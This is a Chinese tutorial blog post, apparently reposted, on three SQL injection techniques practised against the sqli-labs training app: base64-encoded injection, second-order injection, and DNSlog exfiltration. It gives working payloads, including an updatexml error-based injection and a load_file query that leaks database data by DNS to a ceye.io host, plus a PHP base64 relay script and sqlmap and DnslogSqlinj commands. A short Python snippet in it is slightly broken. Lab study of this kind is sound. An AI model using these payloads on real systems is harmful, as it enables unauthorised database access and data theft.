SQL注入之什么是加密注入|二次漏洞注入|DNSlog注入
Posted 向阳-Y.
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了SQL注入之什么是加密注入|二次漏洞注入|DNSlog注入相关的知识,希望对你有一定的参考价值。
加密注入、二次漏洞注入、DNSlog注入
加密注入:
什么是加密注入??下面将由一个例子阐述:
以sqlilabs-less-21为例
1.在登录界面输入账户密码提交抓包
2.在抓到这条数据,将umane的值进行base64解密:
解密结果为admin(注:%3D
就是=号)
在admin的基础上进行修改,bb修改为:
admin' or updatexml(1,concat(0x7e,(version())),0) or '
以上代码为盲注中的报错注入(不懂的请点我)
再进行base64加密,加密结果为:
YWRtaW4nIG9yIHVwZGF0ZXhtbCgxLGNvbmNhdCgweDdlLCh2ZXJzaW9uKCkpKSwwKSBvciAn,再将值替换,转发出去即可。
如下图,在右边区域爆出了数据库的名字
二次注入漏洞
二次注入漏洞就是在代码内部运作时产生的漏洞(代码的问题),一般黑盒测试不出结果,只有白盒测试才能进行测试
以sqlilabs-less-24为例
例如一个最简单的例子:
当注册一个账号aaaa后,再另外注册一个账号aaaa’#,当你登录修改aaaa’#的密码时,你会惊奇的发现,修改的却是aaaa的密码
原因是因为在他的源代码中有这么一句:
$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";
当我们传入aaaa’#时,'$username'
变为'aaaa'#
形成了闭合,并用#号注释掉了后面的内容
所以在修改aaaa’#的密码时,就会修改到aaaa的头上
DNSlog注入:
DNSlog的主要作用是:
解决盲注无法回显,效率低的问题
1.注册并登录平台:ceye.io,找到主页获取Identifier
把下列中sql语句中的identifier的值(plnxji.ceye.io)替换成你自己的值
select * from users where id=1 and if((select load_file(concat('\\\\\\\\',(select version()),'.plnxji.ceye.io\\\\abc'))),1,0);
在网站里的DNS Qucry即可看到,已经爆出了version()的值
当然,上面的操作还是稍微有点繁琐的,推荐一款工具:
https://github.com/ADOOO/DnslogSqlinj
解压缩工具后,需要在工具中的config.py文件配置addr和api(就是网站后台那两个值)
运行脚本(我这里用的python2.7.13):
运行软件时,下图已经给出了命令格式(下面也有很多参数可用,这里就不详讲了)
运行,等待结果:
python dnslogSql.py -u "http://192.168.56.217:8080/sqlilabs/less-9/?id=1' and ({})--+"
下图即可看到成功查出用户权限以及数据库名
补充:
在加密注入的基础上,如果你使用了一款工具不自带base64加解密怎么办?
说明:用以下代码的目的是提供一个base64的中转,例如:http://xxxx/?id=MQ==,其中MQ==是1
通过base64加密得来的,但是你使用的工具不认得这个数据,如何解决这个问题呢???
php脚本中转
使用php写法有一定的优势,例如通过浏览器访问127.0.0.1/test.php?x=
,这里提供了一个中转的接口,可以使用注入工具直接跑这个地址即可实现中转:
#文件名为:test.php
<? php
$url="http://xxxx/about_us.php?ID="; #目标站点,例如某站id后面都是base64加密的内容
$payload=base64_encode($_GET['x']); #设定一个被x值,被base64加密并赋值
echo $payload;
$urls=$url.$payload; #将目标站点和被base64加密后的x拼接起来
file_get_contents($urls);
echo $urls;
?>
测试:
例如使用sqlmap进行测试(实质上sqlmap是有base64功能的,这里只做学习使用):
python sqlmap.py -u '127.0.0.1/test.php?x=' -v 3
python写法
python写法,我就随便写了写,好像没多大用处,用php写法比较实用。
url="http://xxxx/?id="
#coding: utf-8
import request
import base64
encodeStrTest = base64.encodestring("{id}".format(id=input("")))
urls=url+encodeStrTest
print(urls)
下图,输入1即可自动将转换为base64的值拼接到原网站上
以上是关于SQL注入之什么是加密注入|二次漏洞注入|DNSlog注入的主要内容,如果未能解决你的问题,请参考以下文章